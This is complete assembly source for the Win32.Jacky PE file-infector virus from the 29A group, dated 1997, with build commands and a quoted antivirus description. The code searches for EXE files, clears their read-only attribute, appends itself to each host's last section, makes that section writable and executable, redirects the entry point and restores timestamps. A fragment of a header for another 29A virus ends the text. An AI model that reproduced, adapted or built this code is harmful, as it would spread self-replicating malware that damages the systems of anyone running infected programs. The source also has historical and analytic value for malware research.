; bound KERNEL32 function adressez is loaded, the Win95 loader puts the KER-
; NEL32 adress in the ForwarderChain field of the KERNEL32 import descrip-
; tor. This also works in Win95 OSR2 version but doesnt work on WinNT tho,
; so it should be used with some care after makin some sanity checkz first.
;
; If the GetModuleHandleA and GetProcAddrss APIz are found, the virus will
; hardcode their IAT referencez inside the virus code, then later on when
; the virus executes, it will have these API referencez already waitin to be
; called by the installation code. After the latter API search is done, the
; virus copies itself to the last section in the file, modifies the section
; atributez to acomodate the virus code and finally changes the EntryPoint
; field in the PE header to point to the virus code. The virus doesnt change
; or modify the time/date stamp of infected filez nor it is stoped by the
; "read only" atribute.
;
;
; AVP description
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Before jumpin to the source code, lets read what AVP has to say about the
; virus. Unfortunately as u will see they didnt test the thing on NT, other-
; wise they would have had a big surprise with it hehe #8D
;
; (*) Win95.Jacky - http://www.avp.ch/avpve/newexe/win95/jacky.stm *
;
;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
; It is a harmless nonmemory resident parasitic Win95/NT virus 1440
; bytes of length. Being executed the virus scans Win95/NT kernel and
; gets undocumented addresses of system file access function (see the
; list below). Then it searches for NewEXE Portable Executable
; (Win95 and NT) files and writes itself to the end of the file. The
; virus aligns the file length to the section, so the file lengths
; grows more that 1440 bytes while infection.
;
; This is the first known Win95/NT parasitic virus that does not add
; new section to the file - while infecting a file the virus writes
; itself to the end of the file, increases the size of last section
; in the file, and modifies characteristics of this section. So,
; only entry point address, size and characteristics of last section
; are modified in infected files.
;
; This is also first known to me Win95/NT infector that did work on
; my test computer (Windows95) without any problem. I did not try it
; under NT.
;
; The virus contains the encrypted strings, a part of these strings
; are the names of system functions that are used during infection:
;
; KERNEL32 GetModuleHandleA GetProcAddress
; *.EXE
; CreateFileA CreateFileMappingA CloseHandle UnmapViewOfFile
; MapViewOfFile FindFirstFileA FindNextFileA FindClose
; SetFileAttributesA SetFilePointer SetEndOfFile SetFileTime
;
; To My d34d fRi3nD c4b4n4s..
; A Win/NT/95 ViRuS v1.00.
; By: j4cKy Qw3rTy / 29A.
; jqw3rty@cryogen.com
;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
;
;
; Greetingz
; ÄÄÄÄÄÄÄÄÄ
; And finaly the greetinz go to:
;
; Mr.Chan, Wai ......... Thx for your help and advice.. master!
; MrSandman/29A ........ erm.. when will 29A#2 go out? hehe ;)
; QuantumG ............. What about yer NT resident driver idea?
; DarkSide1 ............ We are Southamerican rockerzzz!
; GriYo/29A ............ Implant poly rulez!
;
;
; Disclaimer
; ÄÄÄÄÄÄÄÄÄÄ
; This source code is for educational purposez only. The author is not res-
; ponsible for any problemz caused due to the assembly of this file.
;
;
; Compiling it
; ÄÄÄÄÄÄÄÄÄÄÄÄ
; tasm32 -ml -m5 -q -zn w32jacky.asm
; tlink32 -Tpe -c -x -aa w32jacky,,, import32
; pewrsec w32jacky.exe
;
;
; (c) 1997 Jacky Qwerty/29A.

.386p
.model flat ;whoaa.. no more segmentz

;Some includez containin very useful structurez and constantz for Win32

include Useful.inc
include Win32API.inc
include MZ.inc
include PE.inc

;Some equ's needed by the virus

work_size equ 4000h ;size to grow up memory maped file


size_pad equ 101 ;size paddin to mark infected filez
v_size equ v_end - v_start ;virus absolute size in filez

extrn GetModuleHandleA :proc ;APIs used durin first generation only


extrn GetProcAddress :proc

.data
db ? ;some dummy data so tlink32 dont yell

.code

;Virus code starts here

v_start:

push eax ;make space to store return adress


pushad ;save all
call get_deltaz ;here we go

;API namez needed by the virus. They will travel in encrypted form

ve_stringz:

veszKernel32 db 'KERNEL32',0
veszGetModuleHandleA db 'GetModuleHandleA',0
veszGetProcAddress db 'GetProcAddress',0

eEXE_filez db '*.EXE',0 ;filez to search

veszCreateFileA db 'CreateFileA',0
veszCreateFileMappingA db 'CreateFileMappingA',0
veszCloseHandle db 'CloseHandle',0
veszUnmapViewOfFile db 'UnmapViewOfFile',0
veszMapViewOfFile db 'MapViewOfFile',0
veszFindFirstFileA db 'FindFirstFileA',0
veszFindNextFileA db 'FindNextFileA',0
veszFindClose db 'FindClose',0
veszSetFileAttributesA db 'SetFileAttributesA',0
veszSetFilePointer db 'SetFilePointer',0
veszSetEndOfFile db 'SetEndOfFile',0
veszSetFileTime db 'SetFileTime',0

eEndOfFunctionNames db 0

;An epitaph to a good friend of mine (not a "junkie" Pete)

db 'To My d34d fRi3nD c4b4n4s..',CRLF


db 'A Win/NT/95 ViRuS v1.00. ',CRLF
db 'By: j4cKy Qw3rTy / 29A. ',CRLF
db 'jqw3rty@cryogen.com',0

ve_string_size = $ - ve_stringz

crypt: lodsb ;decrypt API stringz


rol al,cl
not al
stosb
loop crypt
ret

get_deltaz:

mov ecx,ve_string_size
pop esi ;get pointer to ve_stringz
cld
lea ebp,[esi + v_end - ve_stringz] ;get pointer to virus end
lea eax,[esi + v_start - ve_stringz]
mov edi,ebp
stosd ;save pointer to virus start
add eax,- 12345678h
delta_host = dword ptr $ - 4
stosd ;save current host base adress
lea edi,[ebp + v_stringz - v_end] ;get pointer to API namez
sub eax,- 12345678h
phost_start_rva = dword ptr $ - 4
push edi ;push pointer to "KERNEL32" string
xchg ebx,eax
mov [esp.(Pshd).cPushad.RetAddr],ebx ;save host entry to return

decrypt_stringz:

call crypt ;decrypt encrypted API and stringz


call MyGetModuleHandleA ;get KERNEL32 base adress
jecxz jmp_host_2
mov [ebp + K32Mod - v_end],ecx ;save it
lea esi,[ebp + FunctionNamez - v_end]
lea edi,[ebp + FunctionAddressez - v_end]

GetAPIAddress: ;get adressez of API functionz used by the virus

push esi
call MyGetProcAddressK32 ;get API adress

jmp_host_2:
jecxz jmp_host
cld
xchg eax,ecx
stosd ;save retrieved API adress
lodsb ;point to next API name
test al,al
jnz $ - 3
cmp al,[esi] ;end of API namez reached?
jnz GetAPIAddress ;no, get next API adress

lea ebx,[ebp + FindData - v_end] ;Find filez matchin *.EXE


push ebx
lea eax,[ebp + EXE_filez - v_end]
push eax
call [ebp + ddFindFirstFileA - v_end] ;call FindFirstFileA API
inc eax
jz jmp_host
dec eax
push eax ;save search handle

Process_File: ;check file and infect it

lea edx,[ebx.WFD_szFileName]
call Open&MapFile ;open and map file
jecxz Find_Next
xor eax,eax
cmp [ebx.WFD_nFileSizeHigh],eax ;skip filez too large (>1GB)
jnz Close_File
add eax,[ebx.WFD_nFileSizeLow]
js Close_File
add eax,-80h ;skip filez too short
jnc Close_File
call Check_PE_sign ;it has to be a PE file
jnz Close_File
test ah,IMAGE_FILE_DLL shr 8 ;can't have DLL bit
jnz Close_File
xor ecx,ecx
mov eax,[ebx.WFD_nFileSizeLow] ;check if file is infected
mov cl,size_pad
cdq
div ecx
mov esi,edx ;esi == 0, file already infected or not infectable
;esi != 0, file not infected, i.e. infect it!
Close_File:

call Close&UnmapFile ;close and unmap file


mov ecx,esi
jecxz Find_Next ;jump and find next file
call Infect ;infect file

Find_Next:

pop eax ;find next file


push eax ebx eax
call [ebp + ddFindNextFileA - v_end]
test eax,eax
jnz Process_File

Find_Close:

call [ebp + ddFindClose - v_end] ;no more filez, close search


jmp_host:

popad ;jump to host


ret

Infect proc ;blank file attributez, open and map file in r/w mode,
;infect it, restore date/time stamp and attributez

lea edx,[ebx.WFD_szFileName] ;get filename


push edx 0 edx
call [ebp + ddSetFileAttributesA - v_end] ;blank file attributez
xchg ecx,eax
pop edx
jecxz end_Infect1
mov edi,work_size
add edi,[ebx.WFD_nFileSizeLow]
call Open&MapFileAdj ;open and map file in read/write mode
jecxz end_Infect2
lea esi,[ebp + vszKernel32 - v_end]
lea eax,[ebp + vszGetModuleHandleA - v_end]
push eax esi
lea eax,[ebp + vszGetProcAddress - v_end]
push eax esi ecx
call GetProcAddressIT ;get ptr to GetProcAddress API
mov [ebp + ddGetProcAddress - v_end],eax
push ecx
xor esi,esi
call GetProcAddressIT ;get ptr to GetModuleHandleA API
mov [ebp + ddGetModuleHandleA - v_end],eax
test eax,eax
jnz GetModHandle_found ;if GetModuleHandleA found,
test esi,esi ;jump and attach virus
jz end_Infect3 ;KERNEL32 import descriptor not found,
;then dont infect

x = IMAGE_SIZEOF_IMPORT_DESCRIPTOR

;GetModuleHandleA not found

cmp [esi.ID_TimeDateStamp - x],eax ;check if we can rely on


jz got_easy ;the ForwarderChain trick
cmp eax,[esi.ID_OriginalFirstThunk - x]
jz end_Infect3
mov [esi.ID_TimeDateStamp - x],eax

got_easy:

mov eax,[esi.ID_ForwarderChain - x] ;hardcode pointerz to


mov [ebp + ptrForwarderChain - v_end],edx ;the ForwarderChain
mov [ebp + ddForwarderChain - v_end],eax ;field

GetModHandle_found:

mov esi,[ebp + pv_start - v_end]


call Attach ;attach virus to host
end_Infect3:

call Close&UnmapFileAdj ;close and unmap file

end_Infect2:

mov ecx,[ebx.WFD_dwFileAttributes] ;restore original atribute


jecxz end_Infect1
lea edx,[ebx.WFD_szFileName]
push ecx edx
call [ebp + ddSetFileAttributesA - v_end]

end_Infect1:

ret

Infect endp

Check_PE_sign proc ;checks validity of a PE file


; on entry: EDX = host file size
; ECX = base address of memory-maped file
; EBX = pointer to WIN32_FIND_DATA structure
; EAX = host file size - 80h
; on exit: Zero flag = 1, infectable PE file
; Zero flag = 0, not infectable file

cmp word ptr [ecx],IMAGE_DOS_SIGNATURE ;needs MZ signature


jnz end_check_PE_sign
cmp word ptr [ecx.MZ_lfarlc],40h ;needs Win signature
jb end_check_PE_sign ;(well not necesarily)
mov edi,[ecx.MZ_lfanew] ;get ptr to new exe format
cmp eax,edi ;ptr out of range?
jb end_check_PE_sign
add edi,ecx
cmp dword ptr [edi],IMAGE_NT_SIGNATURE ;check PE signature
jnz end_check_PE_sign
cmp word ptr [edi.NT_FileHeader.FH_Machine], \ ;must be 386+
IMAGE_FILE_MACHINE_I386
jnz end_check_PE_sign
mov eax,dword ptr [edi.NT_FileHeader.FH_Characteristics]
not al
test al,IMAGE_FILE_EXECUTABLE_IMAGE ;must have the executable bit

end_check_PE_sign:

ret

Check_PE_sign endp

Open&MapFile proc ;open and map file in read only mode


; on entry:
; EDX = pszFileName (pointer to file name)
; on exit:
; ECX = 0, if error
; ECX = base adress of memory-maped file, if ok

xor edi,edi

Open&MapFileAdj: ;open and map file in read/write mode


; on entry:
; EDI = file size + work space (in bytes)
; EDX = pszFileName (pointer to file name)
; on exit:
; ECX = 0, if error
; ECX = base adress of memory-maped file, if ok
; EDI = old file size

xor eax,eax
push eax eax OPEN_EXISTING eax eax
mov al,1
ror eax,1
mov ecx,edi
jecxz $+4
rcr eax,1
push eax edx
call [ebp + ddCreateFileA - v_end] ;open file
cdq
inc eax
jz end_Open&MapFile
dec eax
push eax ;push first handle

xor esi,esi
push edx edi edx
mov dl,PAGE_READONLY
mov ecx,edi
jecxz $+4
shl dl,1
push edx esi eax
call [ebp + ddCreateFileMappingA - v_end] ;create file
cdq ;mapping
xchg ecx,eax
jecxz end_Open&MapFile2
push ecx ;push second handle

push edi edx edx


mov dl,FILE_MAP_READ
test edi,edi
jz OMF_RdOnly
shr dl,1
mov edi,[ebx.WFD_nFileSizeLow]
OMF_RdOnly: push edx ecx
call [ebp + ddMapViewOfFile - v_end] ;map view of file
xchg ecx,eax
jecxz end_Open&MapFile3
push ecx ;push base address of
;memory-mapped file
jmp [esp.(3*Pshd).RetAddr] ;jump to return adress leavin
;parameterz in the stack
Open&MapFile endp

Close&UnmapFile proc ;close and unmap file previosly opened in r/o mode

xor edi,edi

Close&UnmapFileAdj: ;close and unmap file previosly opened in r/w mode

pop eax ;return adress


mov [esp.(3*Pshd).RetAddr],eax
call [ebp + ddUnmapViewOfFile - v_end] ;unmap view of file

end_Open&MapFile3:

call [ebp + ddCloseHandle - v_end] ;close handle


mov ecx,edi
jecxz end_Open&MapFile2 ;if read only mode jump
pop eax
push eax eax
xor esi,esi
push esi esi edi eax
xchg edi,eax
call [ebp + ddSetFilePointer - v_end] ;move file pointer to
;the real end of file
call [ebp + ddSetEndOfFile - v_end] ;truncate file at
lea eax,[ebx.WFD_ftLastWriteTime] ;real end of file
push eax esi esi edi
call [ebp + ddSetFileTime - v_end] ;restore original
;date/time stamp
end_Open&MapFile2:

call [ebp + ddCloseHandle - v_end] ;close handle

end_Open&MapFile:

xor ecx,ecx
ret

Close&UnmapFile endp

Attach proc ;attach virus code to last section in the PE file and
; change section characteristicz to reflect infection
;on entry:
; ECX = base of memory-maped file
; ESI = pointer to start of virus code
;on exit:
; EDI = new file size
pushad
push ecx
mov ebp,ecx ;get base adress
add ebp,[ebp.MZ_lfanew] ;get PE header base
movzx ecx,word ptr [ebp.NT_FileHeader \ ;get Number of Sections
.FH_NumberOfSections]
xor eax,eax
movzx edi,word ptr [ebp.NT_FileHeader \ ;get 1st section header
.FH_SizeOfOptionalHeader]
x = IMAGE_SIZEOF_SECTION_HEADER
mov al,x
mul ecx ;get last section header
pop edx
jecxz end_Attach2
add edi,eax
lea ebx,[ebp.NT_OptionalHeader + edi]
mov ecx,[ebx.SH_SizeOfRawData - x]
mov eax,[ebx.SH_VirtualSize - x]
cmp ecx,eax
jnc $+3
xchg eax,ecx
add edx,[ebx.SH_PointerToRawData - x]
sub eax,-3
mov ecx,(v_size + 3)/4
and al,-4
lea edi,[eax+edx] ;find pointer in last section where virus
cld ;will be copied
rep movsd ;copy virus
add eax,[ebx.SH_VirtualAddress - x] ;calculate virus entry point
mov ecx,[ebp.NT_OptionalHeader.OH_FileAlignment] ;in RVA

end_Attach2:

jecxz end_Attach
push eax ;virus entry point
lea esi,[edi + (phost_start_rva - v_start) - ((v_size + 3) \
and (-4))]
neg eax
sub edi,edx
mov [esi + delta_host - phost_start_rva],eax ;harcode delta to
lea eax,[ecx+edi-1] ;host base adress
cdq ;edx=0
sub edx,[ebp.NT_OptionalHeader.OH_AddressOfEntryPoint]
mov [esi],edx ;hardcode delta to original entry point RVA
cdq ;edx=0
div ecx
pop esi ;virus entry point
mul ecx ;calculate new size of section (raw data)
xchg eax,edi
mov ecx,[ebp.NT_OptionalHeader.OH_SectionAlignment]
add eax,(virtual_end - v_end + 3) and (-4)
jecxz end_Attach
cmp [ebx.SH_VirtualSize - x],eax
jnc n_vir
mov [ebx.SH_VirtualSize - x],eax ;store new size of section (RVA)
n_vir: dec eax
mov [ebx.SH_SizeOfRawData - x],edi ;store new size of section
add eax,ecx ;(raw data)
div ecx
mul ecx
add eax,[ebx.SH_VirtualAddress - x]
cmp [ebp.NT_OptionalHeader.OH_SizeOfImage],eax
jnc n_img
mov [ebp.NT_OptionalHeader.OH_SizeOfImage],eax ;store new size
;of image (RVA)
n_img: add edi,[ebx.SH_PointerToRawData - x] ;get new file size
sub ecx,ecx
or byte ptr [ebx.SH_Characteristics.hiw.hib - x],0E0h ;change
; (IMAGE_SCN_MEM_EXECUTE or \ ;section characte-
; IMAGE_SCN_MEM_READ or \ ;risticz to: execute,
; IMAGE_SCN_MEM_WRITE) shr 12 ;read & write access
pop eax ;get original file size
mov cl,size_pad
cdq ; edx=0
cmp edi,eax ;compare it with new file size
jc $+3
xchg edi,eax ;take the greater
sub eax,1 - size_pad
div ecx
mul ecx ;grow file size to a multiple of size_pad
push eax
mov [ebp.NT_OptionalHeader.OH_AddressOfEntryPoint],esi ;change
;entry point
end_Attach:

popad
ret

Attach endp

GetProcAddressIT proc ;gets a pointer to an API function from the Import Table
; (the object inspected is in raw form, ie memory-maped)
;on entry:
; TOS+0Ch (Arg3): API function name
; TOS+08h (Arg2): module name
; TOS+04h (Arg1): base adress of memory-maped file
; TOS+00h (return adress)
;on exit:
; EAX = RVA pointer to IAT entry
; EAX = 0, if not found
pushad
mov ebp,[esp.cPushad.Arg1] ;get Module Handle from Arg1
lea esi,[ebp.MZ_lfanew]
add esi,[esi] ;get address of PE header + MZ_lfanew
mov ecx,[esi.NT_OptionalHeader \ ;get size of import directory
.OH_DirectoryEntries \
.DE_Import \
.DD_Size \
-MZ_lfanew]
jecxz End_GetProcAddressIT2 ;if size is zero, no API imported!
movzx ecx,word ptr [esi.NT_FileHeader \ ;get number of sectionz
.FH_NumberOfSections \
-MZ_lfanew]
jecxz End_GetProcAddressIT2
movzx ebx,word ptr [esi.NT_FileHeader \ ;get 1st section header
.FH_SizeOfOptionalHeader \
-MZ_lfanew]
lea ebx,[esi.NT_OptionalHeader + ebx - MZ_lfanew]
x = IMAGE_SIZEOF_SECTION_HEADER

match_virtual: ;find section containin the import table. (not necesarily


;its in the .idata section!)

mov edi,[esi.NT_OptionalHeader \ ;get address of import table


.OH_DirectoryEntries \
.DE_Import \
.DD_VirtualAddress \
-MZ_lfanew]
mov edx,[ebx.SH_VirtualAddress] ;get RVA start pointer of
sub edi,edx ;current section
add ebx,x
cmp edi,[ebx.SH_VirtualSize - x] ;address of import table
;inside current section?
jb import_section_found ;yea, we found it
loop match_virtual ;no, try next section
jmp End_GetProcAddressIT ;no more sectionz, shit.. go

import_section_found:

push edi
mov eax,[ebx.SH_SizeOfRawData - x]
mov ebx,[ebx.SH_PointerToRawData - x]
xchg ebp,eax ;get RAW size of import section (EBP)
add ebx,eax ;get RAW start of import section (EBX)
cld
x = IMAGE_SIZEOF_IMPORT_DESCRIPTOR

Get_DLL_Name: ;scan each import descriptor inside import section to match


;module name specified

pop esi ;diference (if any) between start


;of imp.table and start of imp.section
mov ecx,[ebx.esi.ID_Name] ;get RVA pointer to imp.module name

End_GetProcAddressIT2:

jecxz End_GetProcAddressIT ;end of import descriptorz?


sub ecx,edx ;convert RVA pointer to RAW
cmp ecx,ebp ;check if it points inside section
jae End_GetProcAddressIT
add esi,x
push esi ;save next import descriptor for later
lea esi,[ebx + ecx] ;retrieval
mov edi,[esp.(Pshd).cPushad.Arg2] ;get module name specified
;from Arg2
Next_char_from_DLL: ;do a char by char comparison with module name found
;inside section. Stop when a NULL or a dot is found
lodsb
add al,-'.'
jz IT_nup ;its a dot
sub al,-'.'+'a'
cmp al, 'z'-'a'+ 1
jae no_up
add al,-20h ;convert to upercase
no_up: sub al,-'a'
IT_nup: scasb
jnz Get_DLL_Name ;names dont match, get next import descriptor
cmp byte ptr [edi-1],0
jnz Next_char_from_DLL

Found_DLL_name: ;we got the import descriptor containin specified module name

pop esi
lea eax,[edx + esi.ID_ForwarderChain - x]
add esi,ebx
mov [esp.Pushad_edx],eax ;store ptr to ForwarderChain for l8r
mov [esp.Pushad_esi],esi ;store ptr to imp.descriptor for l8r
push dword ptr [esp.cPushad.Arg3]
mov eax,[esp.(Pshd).Pushad_ebp]
push dword ptr [eax + K32Mod - v_end]
call GetProcAddressET ;scan exp.table of spec.module handle
xchg eax,ecx ;and get function adress of spec.API
mov ecx,[esi.ID_FirstThunk - x] ;This is needed just in case the
;API function adressez are bound
jecxz End_GetProcAddressIT ;if not found then go, this value cant
;be zero or the IAT wont be patched
push eax
call GetProcAddrIAT ;inspect first thunk (which later will
test eax,eax ;be patched by the loader)
jnz IAT_found ;if found then jump (save it and go)
mov ecx,[esi.ID_OriginalFirstThunk - x] ;get original thunk
;(which later will hold the original
;unpatched IAT)
jecxz End_GetProcAddressIT ;if not found then go, this value
push eax ;could be zero
call GetProcAddrIAT ;inspect original thunk
test eax,eax
jz IAT_found ;jump if not found
sub eax,ecx ;we got the pointer
add eax,[esi.ID_FirstThunk - x] ;convert it to RVA
db 6Bh,33h,0C0h ;imul esi,[ebx],-0C0h ;bizarre! but no jump
org $ - 2 ;necesary!

End_GetProcAddressIT:

db 33h,0C0h ;xor eax,eax ;error, adress not found

IAT_found:

mov [esp.Pushad_eax],eax ;save IAT entry pointer


popad
ret (3*Pshd) ;go and unwind parameterz in stack

GetProcAddrIAT: ;this function scans the IMAGE_THUNK_DATA array of "dwords"


; from the selected IMAGE_IMPORT_DESCRIPTOR, searchin for
; the selected API name. This function works for both
; bound and unbound import descriptorz. This function is
; called from inside GetProcAddressIT.
;on entry:
; EBX = RAW start pointer of import section
; ECX = RVA pointer to IMAGE_THUNK_ARRAY
; EDX = RVA start pointer of import section
; EDI = pointer selected API function name.
; EBP = RAW size of import section
; TOS+04h (Arg1): real address of API function inside selected
; module (in case the descriptor is unbound).
; TOS+00h (return adress)
;on exit:
; EAX = RVA pointer to IAT entry
; EAX = 0, if not found

push ecx
push esi

xor eax,eax
sub ecx,edx
cmp ecx,ebp
jae IT_not_found
lea esi,[ebx + ecx] ;get RAW pointer to IMAGE_THUNK_DATA array

next_thunk_dword:

lodsd ;get dword value


test eax,eax ;end of IMAGE_THUNK_DATA array?
jz IT_not_found

no_ordinal:

sub eax,edx ;convert dword to a RAW pointer


cmp eax,ebp ;dword belongs to an unbound image descriptor?
jb IT_search ;no, jump
add eax,edx ;we have the API adress, reconvert to RVA
cmp eax,[esp.(2*Pshd).Arg1] ;API adressez match?
jmp IT_found? ;yea, we found it, jump

IT_search:

push esi ;image descr.contains imports by name


lea esi,[ebx+eax.IBN_Name] ;get API name from import descriptor
mov edi,[esp.(5*Pshd).cPushad.Arg3] ;get API name selected as a
;parameter
IT_next_char:
;find req.API from all imported API namez
cmpsb ;do APIz match?
jnz IT_new_search ;no, continue searchin

IT_Matched_char:

cmp byte ptr [esi-1],0


jnz IT_next_char

IT_new_search:

pop esi ;yea, they match, we found it

IT_found?:

jnz next_thunk_dword
lea eax,[edx+esi-4] ;get the pointer to the new IAT entry
sub eax,ebx ;convert it to RVA

IT_not_found:
pop esi
pop ecx

ret (Pshd)

GetProcAddressIT endp

GetProcAddressET proc ;This function is similar to GetProcAddressIT except


; that it looks for API functions in the export table
; of a given DLL module. It has the same functionality
; as the original GetProcAddress API exported from
; KERNEL32 except that it is able to find API
; functions exported by ordinal from KERNEL32.
;on entry:
; TOS+08h (Arg2): pszAPIname (pointer to API name)
; TOS+04h (Arg1): module handle/base address of module
; TOS+00h (return adress)
;on exit:
; ECX = API function address
; ECX = 0, if not found
pushad
mov eax,[esp.cPushad.Arg1] ;get Module Handle from Arg1
mov ebx,eax
add eax,[eax.MZ_lfanew] ;get address of PE header
mov ecx,[eax.NT_OptionalHeader \ ;get size of Export directory
.OH_DirectoryEntries \
.DE_Export \
.DD_Size]
jecxz Proc_Address_not_found ;size is zero, No API exported !
mov ebp,ebx ;get address of Export directory
add ebp,[eax.NT_OptionalHeader \
.OH_DirectoryEntries \
.DE_Export \
.DD_VirtualAddress]
ifndef NoOrdinal
mov eax,[esp.cPushad.Arg2] ;get address of requested API name or
;ordinal value from Arg2
test eax,-10000h ;check if Arg2 is an ordinal
jz Its_API_ordinal
endif

Its_API_name:

push ecx
mov edx,ebx ;get address of exported API names
add edx,[ebp.ED_AddressOfNames]
mov ecx,[ebp.ED_NumberOfNames] ;get number of exported API names
xor eax,eax
cld

Search_for_API_name:

mov esi,ebx ;get address of next exported API name


add esi,[edx+eax*4]
mov edi,[esp.Pshd.cPushad.Arg2] ;get address of requested API name
;from Arg2
Next_Char_in_API_name:

cmpsb ;find requested API from all


jz Matched_char_in_API_name ;exported API namez
inc eax
loop Search_for_API_name
pop eax
Proc_Address_not_found:

xor eax,eax ;API not found


jmp End_GetProcAddressET

ifndef NoOrdinal

Its_API_ordinal:

sub eax,[ebp.ED_BaseOrdinal] ;normalize Ordinal, i.e.


jmp Check_Index ;convert it to an index
endif

Matched_char_in_API_name:

cmp byte ptr [esi-1],0 ;end of API name reached?


jnz Next_Char_in_API_name
pop ecx
mov edx,ebx ;get address of exp.API ordinals
add edx,[ebp.ED_AddressOfOrdinals]
movzx eax,word ptr [edx+eax*2] ;get index into exp.API functions

Check_Index:

cmp eax,[ebp.ED_NumberOfFunctions] ;check for out of range index


jae Proc_Address_not_found
mov edx,ebx ;get address of exported API functions
add edx,[ebp.ED_AddressOfFunctions]
add ebx,[edx+eax*4] ;get address of requested API function
mov eax,ebx
sub ebx,ebp ;take care of forwarded API functions
cmp ebx,ecx
jb Proc_Address_not_found

End_GetProcAddressET:

mov [esp.Pushad_ecx],eax ;set requested Proc Address, if found


popad
ret (2*Pshd)

GetProcAddressET endp

MyGetProcAddressK32: ;this function is simply a wraper to the GetProcAddress


; API. It retrieves the address of an API function
; exported from KERNEL32.
;on entry:
; TOS+04h (Arg1): pszAPIname (pointer to API name)
; TOS+00h (return adress)
;on exit:
; ECX = API function address
; ECX = 0, if not found

pop eax
push dword ptr [ebp + K32Mod - v_end] ;KERNEL32 module handle
push eax

MyGetProcAddress proc

mov ecx,12345678h ;this dynamic variable will hold an RVA


ddGetProcAddress = dword ptr $ - 4 ;pointer to the GetProcAddress API in
;the IAT
gotoGetProcAddressET:

jecxz GetProcAddressET
push [esp.Arg2]
push [esp.(Pshd).Arg1]
add ecx,[ebp + phost_hdr - v_end]
call [ecx] ;call the original GetProcAddress API
xchg ecx,eax
jecxz gotoGetProcAddressET ;if error, call my own GetProcAddress
ret (2*Pshd) ;function

MyGetProcAddress endp

MyGetModuleHandleA proc ;this function retrieves the base address/module


;handle of a DLL module previosly loaded to memory.
pop ecx
pop eax
push ecx
mov edx,[ebp + phost_hdr - v_end]
mov ecx,12345678h ;this dynamic variable will hold an RVA
ddGetModuleHandleA = dword ptr $ - 4 ;pointer to the GetModuleHandleA API in
jecxz check_K32 ;the IAT

GetModHandleA:

push eax
call [ecx + edx] ;call the original GetModuleHandleA API
xor ecx,ecx
jmp really_PE?

check_K32:

mov eax,[edx + 12345678h] ;this dynamic variable will hold an


;RVA pointer to the ForwarderChain
;field in the KERNEL32 import
;descriptor. This is an undocumented
ptrForwarderChain = dword ptr $ - 4 ;feature to get the K32 base address
inc eax
jz End_GetModHandleA ;make sure the base address is ok
dec eax
jz End_GetModHandleA
cmp eax,12345678h ;this dynamic variable will hold the
;prev.contents of the ForwarderChain
;field in the K32 import descriptor
ddForwarderChain = dword ptr $ - 4 ;if they match, then the Win32 loader
jz End_GetModHandleA ;didnt copy the K32 base address

really_PE?:

cmp word ptr [eax],IMAGE_DOS_SIGNATURE ;make sure its the base


jnz End_GetModHandleA ;address of a PE module
mov edx,[eax.MZ_lfanew]
cmp dword ptr [eax + edx],IMAGE_NT_SIGNATURE
jnz End_GetModHandleA
xchg ecx,eax

End_GetModHandleA:

ret

MyGetModuleHandleA endp

align 4 ;set dword alignment


v_end:

;uninitialized data ;these variablez will be addressed in memory, but


;dont waste space in the file

pv_start dd ? ;pointer to virus start in memory


phost_hdr dd ? ;ptr to the host base address in mem
K32Mod dd ? ;KERNEL32 base address

FunctionAddressez: ;these variables will hold the API function addressez


;used in the virus

ddCreateFileA dd ?
ddCreateFileMappingA dd ?
ddCloseHandle dd ?
ddUnmapViewOfFile dd ?
ddMapViewOfFile dd ?
ddFindFirstFileA dd ?
ddFindNextFileA dd ?
ddFindClose dd ?
ddSetFileAttributesA dd ?
ddSetFilePointer dd ?
ddSetEndOfFile dd ?
ddSetFileTime dd ?

v_stringz: ;the API names used by the virus are decrypted here

vszKernel32 db 'KERNEL32',0
vszGetModuleHandleA db 'GetModuleHandleA',0
vszGetProcAddress db 'GetProcAddress',0

EXE_filez db '*.EXE',0 ;the file mask

FunctionNamez:

vszCreateFileA db 'CreateFileA',0
vszCreateFileMappingA db 'CreateFileMappingA',0
vszCloseHandle db 'CloseHandle',0
vszUnmapViewOfFile db 'UnmapViewOfFile',0
vszMapViewOfFile db 'MapViewOfFile',0
vszFindFirstFileA db 'FindFirstFileA',0
vszFindNextFileA db 'FindNextFileA',0
vszFindClose db 'FindClose',0
vszSetFileAttributesA db 'SetFileAttributesA',0
vszSetFilePointer db 'SetFilePointer',0
vszSetEndOfFile db 'SetEndOfFile',0
vszSetFileTime db 'SetFileTime',0

EndOfFunctionNames db 0

align 4

FindData WIN32_FIND_DATA ?

virtual_end:

first_generation: ;this routine will be called only once from the first
;generation sample, it simply initializes some variables
;needed in the very first run.
jumps
push NULL
call GetModuleHandleA
test eax,eax
jz exit_host
xchg ecx,eax
call here
here: pop ebx

mov eax,ebx
sub eax,here - v_start
sub eax,ecx
neg eax
mov [ebx + delta_host - here],eax ;set delta host value

mov eax,ebx
sub eax,here - host
sub eax,ecx
neg eax
mov [ebx + phost_start_rva - here],eax ;set pointer to
;host's base adress
mov eax,[ebx + pfnGMH - here]
.if word ptr [eax] == 25FFh ; JMP [nnnnnnnn]
mov eax,[eax + 2]
.endif
sub eax,ecx
mov [ebx + ddGetModuleHandleA - here],eax ;set GetModuleHandleA
;RVA pointer
mov eax,[ebx + pfnGPA - here]
.if word ptr [eax] == 25FFh ; JMP [nnnnnnnn]
mov eax,[eax + 2]
.endif
sub eax,ecx
mov [ebx + ddGetProcAddress - here],eax ;set GetProcAddress
;RVA pointer
pushad ;encrypt unencrypted API namez and other
;stringz
cld
mov ecx,ve_string_size
lea esi,[ebx + ve_stringz - here]
mov edi,esi
call crypt_back
popad
jmp v_start ;ok, here we go.. jump to virus start..

crypt_back: ;encryption routine

lodsb
not al
ror al,cl
stosb
loop crypt_back
ret

pfnGMH dd offset GetModuleHandleA


pfnGPA dd offset GetProcAddress

;Host code starts here

extrn MessageBoxA: proc


extrn ExitProcess: proc

host: ;here begins the original host code

;Display Message box


push MB_OK
@pushsz "(c) Win32.Jacky by jqwerty/29A"
@pushsz "First generation sample"
push NULL
call MessageBoxA

;Exit host

exit_host:

push 0
call ExitProcess

end first_generation
;-----------------------------------------------------------------------------
;Lizard by Reptile/29A (another version ;)
;-----------------------------------------------------------------------------

; ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ


; ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
; ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
